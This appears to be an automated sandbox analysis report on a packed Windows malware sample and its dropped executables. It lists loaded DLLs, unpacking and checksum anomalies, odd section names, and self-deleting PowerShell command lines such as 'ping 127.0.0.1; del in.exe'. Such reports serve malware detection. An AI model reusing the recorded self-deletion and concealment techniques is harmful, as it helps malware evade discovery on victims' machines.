Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe	Section loaded: cryptsp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 3062272 > 1048576

Source: file.exe

Static PE information: Raw size of xgfpmqas is bigger than: 0x100000 < 0x2b9e00

Source:	Binary string: wkernel32.pdb source: 2ab65296fe.exe, 00000007.00000003.2791268019.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2791357545.0000000005080000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794667710.0000000005760000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794582071.0000000005640000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 2ab65296fe.exe, 00000007.00000003.2791780188.0000000005180000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2791591127.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2795119500.0000000005860000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794892973.0000000005640000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 2ab65296fe.exe, 00000007.00000003.2790582143.0000000005150000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2790386837.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2793667316.0000000005640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2793921165.0000000005830000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 2ab65296fe.exe, 00000007.00000003.2790880857.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2791043084.0000000005100000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794379110.00000000057E0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794203656.0000000005640000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 2ab65296fe.exe, 00000007.00000003.2790582143.0000000005150000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2790386837.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2793667316.0000000005640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2793921165.0000000005830000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 2ab65296fe.exe, 00000007.00000003.2790880857.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2791043084.0000000005100000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794379110.00000000057E0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794203656.0000000005640000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: 0XDlf$.PDB source: svchost.exe, 00000008.00000002.2803801839.0000000003720000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 2ab65296fe.exe, 00000007.00000003.2791780188.0000000005180000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2791591127.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2795119500.0000000005860000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794892973.0000000005640000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 2ab65296fe.exe, 00000007.00000003.2791268019.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2791357545.0000000005080000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794667710.0000000005760000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794582071.0000000005640000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W;xgfpmqas:EW;gummeirl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xgfpmqas:EW;gummeirl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.190000.0.unpack :EW;.rsrc:W;.idata :W;xgfpmqas:EW;gummeirl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xgfpmqas:EW;gummeirl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.190000.0.unpack :EW;.rsrc:W;.idata :W;xgfpmqas:EW;gummeirl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xgfpmqas:EW;gummeirl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.190000.0.unpack :EW;.rsrc:W;.idata :W;xgfpmqas:EW;gummeirl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xgfpmqas:EW;gummeirl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Unpacked PE file: 7.2.2ab65296fe.exe.90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lxqcqhrl:EW;tuqgsjhj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lxqcqhrl:EW;tuqgsjhj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Unpacked PE file: 12.2.c1be3b2878.exe.f20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vpedfbia:EW;fsmwrfhy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vpedfbia:EW;fsmwrfhy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Unpacked PE file: 40.2.716b31b09e.exe.940000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fsrfimey:EW;mhpawist:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Unpacked PE file: 42.2.2c937c98d4.exe.3a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rfhqlpdr:EW;hgmpugmh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rfhqlpdr:EW;hgmpugmh:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: Intel_PTT_EK_Recertification.exe.26.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: 2c937c98d4.exe.6.dr	Static PE information: real checksum: 0x44991e should be: 0x44ad44
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1d6977 should be: 0x1cd8d4
Source: 2ab65296fe.exe.6.dr	Static PE information: real checksum: 0x1f4b7b should be: 0x1fa542
Source: 716b31b09e.exe.6.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: 7z.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: file.exe	Static PE information: real checksum: 0x2f2f79 should be: 0x2f7327
Source: c1be3b2878.exe.6.dr	Static PE information: real checksum: 0x1d6977 should be: 0x1cd8d4
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2f2f79 should be: 0x2f7327
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1f4b7b should be: 0x1fa542
Source: 7z.dll.13.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: in.exe.24.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x44991e should be: 0x44ad44

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: xgfpmqas
Source: file.exe	Static PE information: section name: gummeirl
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: xgfpmqas
Source: skotes.exe.0.dr	Static PE information: section name: gummeirl
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: fsrfimey
Source: random[1].exe.6.dr	Static PE information: section name: mhpawist
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 716b31b09e.exe.6.dr	Static PE information: section name:
Source: 716b31b09e.exe.6.dr	Static PE information: section name: .idata
Source: 716b31b09e.exe.6.dr	Static PE information: section name:
Source: 716b31b09e.exe.6.dr	Static PE information: section name: fsrfimey
Source: 716b31b09e.exe.6.dr	Static PE information: section name: mhpawist
Source: 716b31b09e.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: rfhqlpdr
Source: random[2].exe.6.dr	Static PE information: section name: hgmpugmh
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 2c937c98d4.exe.6.dr	Static PE information: section name:
